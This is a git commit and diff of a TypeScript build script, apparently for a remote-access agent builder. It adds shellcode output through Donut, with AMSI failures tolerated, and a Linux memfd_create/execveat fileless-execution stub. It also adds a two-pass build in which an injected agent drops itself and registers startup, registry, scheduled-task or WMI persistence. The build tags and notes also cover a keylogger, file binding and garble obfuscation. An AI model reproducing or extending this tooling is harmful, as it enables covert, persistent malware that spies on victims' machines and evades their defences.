Shellcode clean (#21)

* feat: shellcode output via Donut (Windows) + memfd stub (Linux)

- Donut (Windows): PE → PIC shellcode (.bin) via donut-manager.ts
  Flags: -f1 -a<arch> -b3 -x1 (continue on AMSI fail, thread exit)
- Linux shellcode: 113-byte x86_64 memfd_create+execveat stub
  (linux-shellcode-manager.ts) wraps ELF for memfd_create+execveat
- Two-pass build for shellcode+persistence: Pass 1 = normal agent with
  persist compiled in; Pass 2 = selfembed agent that drops+registers
  Pass 1 on first run (isRunningInMemory() gates the path)
- Show console option: shellcode_console build tag calls AllocConsole()
  on start for debug builds; AttachConsole fallback included
- isRunningInMemory() Windows: VirtualQuery on .data sentinel
  (MEM_PRIVATE = injected, MEM_IMAGE = normal disk load) replaces
  os.Executable() which returned host process path when injected
- Build UI: Donut mode, Linux shellcode mode, show-console checkboxes;
  settings persisted across sessions via collectFormSettings()
- GODEBUG=netdns=cgo hardcoded in build env (fixes IPv6 DNS on VPN)
- Dockerfile: pre-seed Go module cache; add curl to runtime image
- docker-compose.yml: switch healthcheck to wget (curl absent in slim)

* fix: add missing shellcode UI functions and restore dynamic linking

applyDonutMode, applyLinuxShellcodeMode, and updateShellcodeCheckboxVisibility
were called throughout build.js but never defined, breaking platform selection
and the build button. Add the missing implementations.

Also remove forced -extldflags '-static' on Linux CGO builds; fully static
glibc binaries cannot call dlopen, which broke native plugin loading entirely.

* fix: call updateShellcodeCheckboxVisibility on page load

Shellcode rows were hidden on initial load because the function was only
wired to checkbox change events. Call it at startup and in applyFormSettings
so pre-selected platforms correctly show their shellcode options immediately.

* feat: Linux plugin subprocess shim for static-agent compatibility

Static musl binaries cannot call dlopen. Introduce a small C shim
(plugin_host.c) that is compiled at agent-build time into a
dynamically-linked binary, embedded via go:embed, and fork+exec'd to
load .so plugins on behalf of the static agent over a Unix socketpair.

Empty placeholder files allow go:embed to compile without error; the
real binaries are produced by build-process.ts before go build runs and
are never committed. Documents the IPC protocol and build matrix in
PLUGINS.md Section 12.

* fix: define sp_memfd_create/sp_write_all in subproc CGO preamble

CGO preamble functions are per-file translation units; so_memfd_create
and so_write_all from loader_linux.go are not visible in
loader_linux_subproc.go. Add local equivalents with sp_ prefix.

* fix: use CGO helper for shim memfd_create instead of syscall.SYS_MEMFD_CREATE

syscall.SYS_MEMFD_CREATE is not defined in Go stdlib syscall package.
Replace with sp_memfd_create_nocloe() CGO helper (flags=0, no CLOEXEC).

* fix: compile plugin host shim statically to avoid glibc version mismatch

A dynamically-linked shim compiled on Debian Bookworm (glibc 2.36) fails
on older glibc targets. Compile with -static so the shim is self-contained
and runs on any glibc version. Static glibc can still call dlopen at runtime
via the system ld-linux.so.2.

Also surface subprocess errors instead of silently falling through to dlopen
so failures are visible in the build log.

* Restore docker build cache
This commit is contained in:
Michael
2026-05-13 22:55:51 -05:00
committed by GitHub
parent 5b2d827607
commit 4fae9e56cf
28 changed files with 1490 additions and 80 deletions
+146 -56
View File
@@ -16,6 +16,8 @@ import {
toolchainKeyForTarget,
type EnsuredToolchain,
} from "./toolchain-manager";
import { runDonut } from "./donut-manager";
import { buildLinuxShellcode } from "./linux-shellcode-manager";
function isClientModuleDir(dir: string): boolean {
return (
@@ -104,6 +106,9 @@ type BuildProcessConfig = {
outputExtension?: string;
sleepSeconds?: number;
boundFiles?: BoundFile[];
useDonut?: boolean;
useLinuxShellcode?: boolean;
shellcodeConsole?: boolean;
solMemo?: boolean;
solAddress?: string;
solRpcEndpoints?: string;
@@ -866,26 +871,45 @@ func runBoundFiles() {
sendToStream({ type: "output", text: "Linux CGO: static linking enabled (avoids GLIBC version mismatch)\n", level: "info" });
}
try {
const buildTool = config.obfuscate ? "garble" : "go";
const buildTags: string[] = [];
if (config.noPrinting) buildTags.push("noprint");
if (config.disableKeylogger) buildTags.push("nokeylogger");
if (config.enableWebrtc) buildTags.push("overlord_webrtc");
if (hasBoundFiles) buildTags.push("hasbinder");
if (config.enablePersistence && os === "windows") {
const methods = config.persistenceMethods && config.persistenceMethods.length > 0
? config.persistenceMethods
: ['startup'];
if (methods.includes("startup")) buildTags.push("persist_startup");
if (methods.includes("registry")) buildTags.push("persist_registry");
if (methods.includes("taskscheduler")) buildTags.push("persist_taskscheduler");
if (methods.includes("wmi")) buildTags.push("persist_wmi");
// Compile the plugin host shim so the agent can embed it via //go:embed.
// The shim is a small dynamically-linked binary that dlopen()s plugins on
// behalf of the statically-linked agent (static musl cannot call dlopen).
// We use the native 'cc' for amd64 (glibc, works on most servers) and the
// musl cross-compiler for arm targets (works on musl/Alpine targets).
if (os === "linux" && env.CGO_ENABLED === "1") {
const pluginHostSrc = path.join(clientDir, "cmd/agent/plugins/plugin_host/plugin_host.c");
if (fs.existsSync(pluginHostSrc)) {
const archSuffix = actualArch === "amd64" ? "amd64"
: actualArch === "arm64" ? "arm64"
: "arm";
const pluginHostOut = path.join(clientDir, `cmd/agent/plugins/plugin_host/plugin_host_${archSuffix}`);
// For amd64 compile a fully static glibc binary (-static -ldl) so the
// shim has no shared library dependencies and runs on any glibc version.
// Static glibc can still call dlopen at runtime via the system ld-linux.so.2.
// For cross-compiled arches use env.CC (musl cross-compiler) without -static.
const hostCC = actualArch === "amd64" ? "cc" : (env.CC || "cc");
const shimExtraFlags = actualArch === "amd64" ? ["-static"] : [];
sendToStream({ type: "output", text: `Compiling plugin host shim (${archSuffix}) with ${hostCC}...\n`, level: "info" });
try {
const compileProc = $`${hostCC} -O2 -o ${pluginHostOut} ${pluginHostSrc} ${shimExtraFlags} -ldl`.nothrow();
let compileOut = "";
for await (const line of compileProc.lines()) { compileOut += line + "\n"; }
const compileResult = await compileProc;
if (compileResult.exitCode !== 0) {
sendToStream({ type: "output", text: `Warning: plugin host shim compilation failed — plugins will fall back to direct dlopen:\n${compileOut}\n`, level: "warn" });
} else {
sendToStream({ type: "output", text: `Plugin host shim compiled: ${pluginHostOut}\n`, level: "info" });
}
} catch (err: any) {
sendToStream({ type: "output", text: `Warning: plugin host shim compilation error — ${err?.message || err}\n`, level: "warn" });
}
}
if (isIosTarget) buildTags.push("ios_target");
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${effectiveOs} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}${isIosTarget ? " (iOS target via darwin+ios_target tag)" : ""}`);
}
const isShellcodeMode = !!(config.useDonut || config.useLinuxShellcode);
try {
logger.info(`[build:${buildId.substring(0, 8)}] GOOS=${os} GOARCH=${actualArch} CGO=${env.CGO_ENABLED} CC=${env.CC || "<default>"} shellcode=${isShellcodeMode}`);
const garbleFlags: string[] = [];
if (config.obfuscate) {
@@ -894,42 +918,76 @@ func runBoundFiles() {
if (config.garbleSeed) garbleFlags.push(`-seed=${config.garbleSeed}`);
}
const buildArgs: string[] = [];
if (buildTags.length > 0) buildArgs.push("-tags", buildTags.join(" "));
buildArgs.push("-trimpath");
buildArgs.push("-buildvcs=false");
if (ldflags) buildArgs.push(`-ldflags=${ldflags}`);
buildArgs.push("-o", `${outDir}/${outputName}`, "./cmd/agent");
// Base tags: always present regardless of build pass
const baseTags: string[] = [];
if (config.noPrinting) baseTags.push("noprint");
if (config.disableKeylogger) baseTags.push("nokeylogger");
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
if (hasBoundFiles) baseTags.push("hasbinder");
if (isIosTarget) baseTags.push("ios_target");
if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console");
let buildCmd;
if (config.obfuscate) {
const allArgs = [...garbleFlags, "build", ...buildArgs];
buildCmd = $`garble ${allArgs}`;
// Windows persistence tags (omitted in shellcode mode — handled by two-pass below)
const winPersistTags: string[] = [];
if (config.enablePersistence && os === "windows" && !isShellcodeMode) {
const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"];
if (methods.includes("startup")) winPersistTags.push("persist_startup");
if (methods.includes("registry")) winPersistTags.push("persist_registry");
if (methods.includes("taskscheduler")) winPersistTags.push("persist_taskscheduler");
if (methods.includes("wmi")) winPersistTags.push("persist_wmi");
}
const runBuild = async (tags: string[], outputPath: string) => {
const buildArgs: string[] = [];
if (tags.length > 0) buildArgs.push("-tags", tags.join(" "));
buildArgs.push("-trimpath", "-buildvcs=false");
if (ldflags) buildArgs.push(`-ldflags=${ldflags}`);
buildArgs.push("-o", outputPath, "./cmd/agent");
let buildCmd;
if (config.obfuscate) {
buildCmd = $`garble ${[...garbleFlags, "build", ...buildArgs]}`;
} else {
buildCmd = $`go build ${buildArgs}`;
}
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
for await (const line of proc.lines()) {
const trimmed = line.trim();
if (trimmed.length > 0) sendToStream({ type: "output", text: line + "\n", level: "info" });
}
const result = await proc;
if (result.exitCode !== 0) {
const stderrText = result.stderr.toString();
if (stderrText) sendToStream({ type: "output", text: stderrText, level: "error" });
throw new Error(`Build failed for ${platform} (exit ${result.exitCode})`);
}
};
// Two-pass build: shellcode + persistence
if (isShellcodeMode && config.enablePersistence && !platform.startsWith("android-")) {
const pass1Path = `${outDir}/${outputName}.pass1`;
const pass1Tags = [...baseTags];
if (os === "windows") {
const methods = config.persistenceMethods?.length ? config.persistenceMethods : ["startup"];
if (methods.includes("startup")) pass1Tags.push("persist_startup");
if (methods.includes("registry")) pass1Tags.push("persist_registry");
if (methods.includes("taskscheduler")) pass1Tags.push("persist_taskscheduler");
if (methods.includes("wmi")) pass1Tags.push("persist_wmi");
}
sendToStream({ type: "output", text: `Two-pass shellcode+persistence build\n Pass 1: agent with persistence (tags: ${pass1Tags.join(" ")})\n`, level: "info" });
await runBuild(pass1Tags, pass1Path);
const pass1Data = fs.readFileSync(pass1Path);
const selfbinPath = path.join(clientDir, "cmd", "agent", "selfbinary.bin");
fs.writeFileSync(selfbinPath, pass1Data);
fs.unlinkSync(pass1Path);
const pass2Tags = [...baseTags, "selfembed"];
sendToStream({ type: "output", text: ` Pass 2: selfembed wrapper (tags: ${pass2Tags.join(" ")})\n`, level: "info" });
await runBuild(pass2Tags, `${outDir}/${outputName}`);
try { fs.unlinkSync(selfbinPath); } catch {}
} else {
buildCmd = $`go build ${buildArgs}`;
}
const proc = buildCmd.env(env).cwd(clientDir).nothrow();
let result: any;
for await (const line of proc.lines()) {
const trimmed = line.trim();
if (trimmed.length > 0) {
sendToStream({ type: "output", text: line + "\n", level: "info" });
}
}
result = await proc;
logger.info(`[build:${buildId.substring(0, 8)}] Process exited with code: ${result.exitCode}`);
if (result.exitCode !== 0) {
const stderrText = result.stderr.toString();
if (stderrText) {
sendToStream({ type: "output", text: stderrText, level: "error" });
}
const errorMsg = `Build failed with exit code ${result.exitCode}\n`;
sendToStream({ type: "output", text: errorMsg, level: "error" });
throw new Error(`Build failed for ${platform}`);
const tags = [...baseTags, ...winPersistTags];
await runBuild(tags, `${outDir}/${outputName}`);
}
const filePath = `${outDir}/${outputName}`;
@@ -1126,12 +1184,44 @@ func runBoundFiles() {
}
// ── End IPA packaging ─────────────────────────────────────────────────
// ── Donut: Windows PE → shellcode ──────────────────────────────────
let finalOutputName = outputName;
let finalOutputSize = finalSize;
if (config.useDonut && os === "windows") {
sendToStream({ type: "status", text: `Converting ${platform} PE to shellcode…` });
sendToStream({ type: "output", text: `\nConverting PE → shellcode with Donut...\n`, level: "info" });
const scOutputName = deps.sanitizeOutputName(outputName.replace(/\.[^.]+$/, ".bin"));
const binPath = path.join(outDir, scOutputName);
const donutArch = (actualArch === "386" ? "386" : "amd64") as "386" | "amd64";
const ok = await runDonut(filePath, binPath, donutArch, sendToStream);
if (!ok) throw new Error(`Donut shellcode conversion failed for ${platform}`);
try { fs.unlinkSync(filePath); } catch {}
finalOutputName = scOutputName;
finalOutputSize = Bun.file(binPath).size;
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
}
// ── Linux ELF → shellcode stub ──────────────────────────────────────
if (config.useLinuxShellcode && os === "linux") {
sendToStream({ type: "status", text: `Wrapping ${platform} ELF as shellcode…` });
sendToStream({ type: "output", text: `\nWrapping ELF with Linux shellcode stub...\n`, level: "info" });
const scOutputName = deps.sanitizeOutputName(outputName + ".bin");
const binPath = path.join(outDir, scOutputName);
const ok = buildLinuxShellcode(filePath, binPath, sendToStream);
if (!ok) throw new Error(`Linux shellcode wrap failed for ${platform}`);
try { fs.unlinkSync(filePath); } catch {}
finalOutputName = scOutputName;
finalOutputSize = Bun.file(binPath).size;
sendToStream({ type: "output", text: `Shellcode ready: ${finalOutputSize} bytes → ${finalOutputName}\n`, level: "success" });
}
(build.files as any[]).push({
name: outputName,
filename: outputName,
name: finalOutputName,
filename: finalOutputName,
platform,
version: agentVersion,
size: finalSize,
size: finalOutputSize,
});
} catch (err: any) {
const errorMsg = `[ERROR] Failed to build ${platform}: ${err.message || err}\n`;